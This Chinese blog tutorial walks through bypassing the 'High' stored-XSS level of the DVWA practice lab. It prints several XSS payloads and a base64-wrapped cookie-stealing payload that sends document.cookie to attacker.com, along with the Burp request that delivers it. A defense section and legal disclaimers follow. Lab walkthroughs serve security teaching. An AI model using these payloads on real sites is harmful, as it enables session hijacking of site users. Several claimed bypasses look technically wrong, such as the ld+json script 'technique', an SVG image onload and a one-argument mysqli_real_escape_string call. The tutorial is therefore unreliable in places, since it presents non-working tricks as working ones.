【DVWA系列】——xss(Stored)——High详细教程
本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
文章目录
- High级别防护机制深度分析
- High级别绕过策略(四种高级技巧)
- 技巧1:SVG + Unicode编码绕过
- 技巧2:动态脚本创建(DOM操作)
- 技巧3:HTML5特性滥用
- 技巧4:跨协议重定向攻击
- 实战思路:Cookie窃取(绕过High防护)
- 步骤1:构造高级Payload
- 步骤2:Base64解码内容
- 步骤3:Burp Suite发送请求
- 步骤4:验证攻击效果
- 终极防御方案(Impossible级别)
- 完整防御代码示例
- 防御机制对比表
- 浏览器安全机制演进
- 企业级最佳实践
- 法律合规提醒
本文环境Security Level:High
High级别防护机制深度分析
从截图可见安全级别为High,但我们将聚焦High级别的防御策略:
// 对$message的过滤:
$message = strip_tags(addslashes($message)); // 删除HTML标签 + 转义特殊字符
$message = mysqli_real_escape_string($message); // 数据库转义
$message = htmlspecialchars($message); // 转换为HTML实体// 对$name的过滤:
$name = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name); // 删除<script>标签
$name = mysqli_real_escape_string($name); // 数据库转义
High级别防护特点:
High级别绕过策略(四种高级技巧)
技巧1:SVG + Unicode编码绕过
name:
<svg><image href="data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='al\u0065rt(1)'%3E%3C/svg%3E">
</svg>
✅ 原理:Unicode编码\u0065绕过HTML实体检测
name字段字数限定绕过技巧:
1、按F12
2、鼠标选中元素
修改最长限制max,即可绕过限制
技巧2:动态脚本创建(DOM操作)
Message:
<img src="" id="payload">
<script type="application/ld+json">window.onload = function() {document.getElementById("payload").src = "x:javascript:alert(document.domain)";}
</script>
✅ 原理:使用合法JSON格式绕过检测
技巧3:HTML5特性滥用
Name:
<details ontoggle="alert(1)" open><summary style=display:none>XSS</summary>
</details>
✅ 浏览器支持:Chrome/Firefox最新版
技巧4:跨协议重定向攻击
Message:
<iframe srcdoc="<script>location='javascript:alert(document.cookie)'</script>">
</iframe>
✅ 触发条件:用户点击任何页面元素后
实战思路:Cookie窃取(绕过High防护)
步骤1:构造高级Payload
Message:
<object data="data:text/html;base64,PHNjcmlwdD5mZXRjaCgnaHR0cDovL2F0dGFja2VyLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2llKTwvc2NyaXB0Pg=="></object>
步骤2:Base64解码内容
// 解码后:
<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>
步骤3:Burp Suite发送请求
POST /vulnerabilities/xss_s/ HTTP/1.1
Host: dvwa.test
Content-Type: application/x-www-form-urlencoded
Cookie: security=high; PHPSESSID=...txtName=NormalUser&
mtxMessage=%3Cobject%20data%3D%22data%3Atext%2Fhtml%3Bbase64%2CPHNjcmlwdD5mZXRjaCgnaHR0cDovL2F0dGFja2VyLmNvbS9zdGVhbD9jPScrZG9jdW1lbnQuY29va2llKTwvc2NyaXB0Pg%3D%3D%22%3E%3C%2Fobject%3E&
btnSign=Sign+Guestbook
步骤4:验证攻击效果
当用户访问留言板时,Cookie将自动发送到攻击者服务器:
http://attacker.com/steal?c=PHPSESSID=e84dfb48e8b0d9;security=high
终极防御方案(Impossible级别)
完整防御代码示例
// 1. 输入验证(白名单)
if (!preg_match('/^[a-zA-Z0-9\s.,!?]{1,30}$/', $name)) {die("非法姓名格式");
}// 2. 输出编码
function xssafe($data) {return htmlspecialchars($data, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}// 3. 预处理语句
$stmt = $db->prepare("INSERT INTO guestbook (name, comment) VALUES (?, ?)");
$stmt->bindParam(1, $name, PDO::PARAM_STR);
$stmt->bindParam(2, $message, PDO::PARAM_STR);// 4. CSP策略头
header("Content-Security-Policy: default-src 'self'; script-src 'nonce-r4nd0m123'");
防御机制对比表
浏览器安全机制演进
graph TDA[2010年:基本过滤] --> B[2015年:XSS Auditor]B --> C[2018年:现代CSP策略]C --> D[2020年:Trusted Types]D --> E[2023年:WASM沙箱]E --> F[未来:AI实时行为检测]classDef new fill:#9f9,stroke:#333;class C,D,E,F new;
企业级最佳实践
- 输入处理策略
// 现代框架示例(React)
function SafeInput({value}) {return <div>{value}</div>; // 自动转义输出
}
- CSP配置示例
Content-Security-Policy:
default-src 'none';
script-src 'self' 'nonce-r4nd0m123';
style-src 'self' fonts.googleapis.com;
font-src fonts.gstatic.com;
connect-src 'self';
- 监控与响应
# 实时监控XSS尝试
tail -f /var/log/nginx/xss_attempts.log | grep -E '<script|javascript:'
法律合规提醒
根据《网络安全法》第27条:
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动
安全测试黄金法则:
- 未经授权测试 = 违法行为
+ 授权测试 + 详细报告 = 合法安全研究
下一专题:《DVWA系列——CSP绕过与新型XSS攻击技术》将探讨:
- 如何绕过严格CSP策略
- Web Worker中的XSS攻击
- Service Worker持久化攻击
- WASM内存操作漏洞利用
宇宙级免责声明
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界
⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。
希望这个教程对你有所帮助!记得负责任地进行安全测试。